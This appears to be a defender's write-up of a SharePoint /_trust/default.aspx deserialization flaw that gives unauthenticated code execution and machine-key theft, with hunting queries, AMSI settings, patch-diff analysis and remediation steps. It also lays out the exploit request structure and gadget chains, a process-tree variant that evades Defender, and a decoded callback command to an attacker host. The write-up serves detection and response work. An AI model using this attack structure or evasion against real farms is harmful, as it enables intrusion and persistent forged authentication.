TL;DR for responders
- A single unauthenticated
POST /_trust/default.aspxcarrying a maliciousSecurityContextTokentriggers BinaryFormatter deserialization inw3wp.exe→ RCE as the web-app pool identity. - The same primitive dumps the farm machine keys entirely in-process. In a
default-config farm: no child process, no Defender alert, no beacon (enabling AMSI
request-body scanning for
/_trustdetects and blocks it). Stolen keys forge__VIEWSTATE/auth tokens that survive patching. - Patching is not enough: rotate machine keys, and hunt the
/_trustrequest: it is the one artifact present in every variant.
A sign-in response that deserializes
SharePoint exposes a WS-Federation passive sign-in endpoint at
/_trust/default.aspx. A crafted response embeds a
SecurityContextToken whose <Cookie> is a base64,
DEFLATE-compressed BinaryFormatter stream, decompressed and deserialized
without type restriction, so a ysoserial.net gadget chain executes
inside the worker.
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>…
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>…
Two chains from one primitive
| Chain | Gadget | Effect | Output |
|---|---|---|---|
| OOB RCE | TypeConfuseDelegate |
code exec as pool identity | out-of-band beacon |
| Key dump | ActivitySurrogate* |
Validation + Decryption keys | inline in response |
Invocation → artifact matrix
Every row is one real detonation; artifacts pulled from the SIEM
(nano) and OOB
listener per run. Identity throughout: LAB\sp_pool, High integrity.
Chips: offense won
defense fired
Screenshots are unmodified
They carry the lab's real host and NetBIOS names, which are crude
and differ from the sanitized SHAREPOINT01 / LAB used
throughout the text. Same runs, same events, nothing staged. Work-safe equivalents in
artifacts/.
| Invocation | Process tree | Defender | OOB beacon | Primary artifacts |
|---|---|---|---|---|
| OOB RCE default |
w3wp → cmd → powershell → conhost | WebshellLauncher.A | landed · race | 4688 tree · Defender 1116/1117 · /_trust |
| OOB RCE -RawCmd |
w3wp → powershell → conhost | no detection | landed | 4688 tree · /_trust · beacon |
| OOB RCE -DropFile |
w3wp → powershell | no detection | landed | file write → …\LAYOUTS\ |
| OOB RCE -Diag |
w3wp → powershell → whoami | no detection | landed | env disclosure exfil |
| Key dump | (in-process) | no detection | none | stealth only the /_trust POST + response |
These outcomes are for the
default AMSI configuration (Balanced mode, /_trust not scanned). With AMSI
request-body scanning of /_trust enabled, every row is instead blocked at the request
layer: HTTP 400, Exploit:Script/SpCookieExec.A, before execution (see the AMSI
request-body scanning section).
Status is not a reliable success signal; successful runs returned both HTTP 200 and a connection reset.
w3wp.exe running as the pool identity. Three of the four are
powershell.exe spawned directly. Only the 15:03:34 run goes through
cmd.exe, and only that run was detected.Same exploit, two trees: only one is seen
w3wp.exe
└─ cmd.exe /c powershell
└─ powershell.exe -EncodedCommand …
└─ conhost.exe
w3wp.exe
└─ powershell.exe -EncodedCommand …
└─ conhost.exe
w3wp.exe → cmd.exe → powershell.exe, with conhost.exe alongside.
This is the shape Behavior:Win32/WebshellLauncher.A keys on.
-RawCmd, same primitive and same payload, with the
cmd.exe hop removed. Defender produced nothing for this run. A detection
built on w3wp → cmd misses it entirely.
cmd.exe run: two malware_detected
at Severe, then malware_action_taken with action Remove. Remediation
did not beat the beacon.The command line recovers verbatim from Security 4688: the encoding is not obfuscation:
powershell.exe -EncodedCommand <base64>
# base64(UTF-16LE) → iwr -UseBasicParsing 'http://<attacker-oast>/c'
base64 -d | iconv -f utf-16le -t utf-8 recovers the callback in one step.-Diag disclosure captured at the OOB listener:
{ "host":"SHAREPOINT01", "who":"LAB\\sp_pool", "v":"5.1.20348.558", "lm":"FullLanguage" }
The key-dump leaves nothing behind
Both frames cover the identical 90-second window in which the farm machine keys were stolen.
w3wp.exe, the same window is empty. No
process, no Defender event, no beacon. The keys left over the HTTP response, and the only
host-side artifact was the /_trust request itself. Patching does not revoke
stolen keys; rotate them.What to hunt
The web request is the only artifact common to RCE and the stealthy key dump. Start here:
uri_path = "/_trust/default.aspx" AND http_method = "POST"
AND body contains "wa=wsignin1.0"
AND body contains "RequestSecurityTokenResponse"
AND body contains "SecurityContextToken" # exploit-specific; legit sign-in carries a SAML assertion
Legitimate WS-Federation sign-in traffic to this endpoint is predominantly
HTTP 302; the exploit returns other statuses (200, 500, a connection
reset, or 400 when AMSI blocks). Where the endpoint carries real sign-in volume, a
non-302 response to POST /_trust/default.aspx is anomalous.
Process-pattern evasion
The -RawCmd variant is w3wp → powershell
directly and drew zero Defender events. Hunt w3wp.exe spawning
powershell.exe with no cmd.exe hop, and decode any
-EncodedCommand straight from 4688.
Detection is not prevention
On the cmd tree Defender fired WebshellLauncher.A
and removed the chain, yet the beacon (DNS + HTTP) still completed first. On any
such detection, also pull DNS/proxy/egress for the callback domain around that time.
AMSI request-body scanning
Both chains carry their payload in the /_trust request
body. In the default configuration (Balanced mode, /_trust not in the
targeted-endpoint list) the body is not scanned and both chains execute with no detection.
Setting body-scan to Full, or keeping Balanced and adding
/_trust/default.aspx as a targeted endpoint, rejects the request
HTTP 400 before deserialization (no process is created), and Defender records
Exploit:Script/SpCookieExec.A (source AMSI, action Quarantine)
for both chains.
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Fix, then revoke
- Patch to the fixed SharePoint build (July 2026 / KB5002882).
- Rotate machine keys farm-wide (
Set-SPMachineKey+IISReset). Patching stops the RCE but does not revoke keys already stolen; rotation removes the ability to forgeFedAuth/SecurityContextToken/__VIEWSTATE. - Hunt historical IIS logs for
POST /_trust/default.aspx. Legitimate WS-Federation sign-in also hits this endpoint withwa=wsignin1.0, so key on the exploit-specific structure: awresultwhose token is a<SecurityContextToken>with a base64<Cookie>(legitimate sign-in carries a signed SAML assertion instead), a non-302 response, and a scripted User-Agent. If present, assume key compromise. - Review for forged
__VIEWSTATE/ anomalous auth after first-seen. - Enable AMSI request-body scanning for
/_trust(Full mode, or add it as a Balanced targeted endpoint) to block both chains at the request layer.
June → July patch diff
Static analysis of the vendor's fix confirms the mechanism and settles whether the
RCE needs the stolen machine keys: it does not. A binary patch-diff of
Microsoft.SharePoint.IdentityModel.dll between the June CU (KB5002873,
16.0.19725.20384) and July CU (KB5002882, 16.0.19725.20434), decompiled and compared, shows the
exploited read path SPFederationAuthenticationModuleV2.OnAuthenticateRequest →
SPSessionSecurityTokenHandlerV2 changing as follows:
| June (vulnerable) | July (fixed) | |
|---|---|---|
| cookie transform | { new DeflateCookieTransform() } (deflate only) |
{ new NotSupportedCookieTransform() } (Decode/Encode throw) |
| ReadToken | none (inherits base) | all overrides throw NotSupportedException |
The pre-patch transform chain was deflate-only, with no encryption and no
MAC/signature transform keyed on the machine key. The base ReadToken applies the
transforms and deserializes the cookie value, so a forged token is inflated and deserialized
with no machine-key validation gate; the gadget fires without the
ValidationKey/DecryptionKey (key-independent). The fix removes the
sink rather than adding a signature or decryption check; there was no key gate to fix.
The machine-key disclosure is therefore a separate persistence objective
(forging FedAuth/SecurityContextToken/__VIEWSTATE), not a
prerequisite for the RCE; the key-dump is itself an RCE over the same path and runs before any
key is stolen. A second, unrelated hardening ships in the same July CU (JWT actor-token
signature validation in SPJsonWebSecurityTokenHandlerV2), a distinct path, not the
one covered here.
Applying the fix, and two settings that undo it
The fix is the July CU (KB5002882): it swaps the deflate-only cookie transform for one that throws, removing the sink. Install it, then confirm neither farm setting reverts or bypasses it:
SessionCookieTransformProtectionEnabledset tofalsereverts the session-token cookie to the vulnerable deflate-only transform, re-opening the RCE and key-dump; leave it at its default.- The
DisableActorTokenSignatureValidationdebug flag re-opens the separate JWT actor-token signature bypass hardened in the same update; confirm it is not set.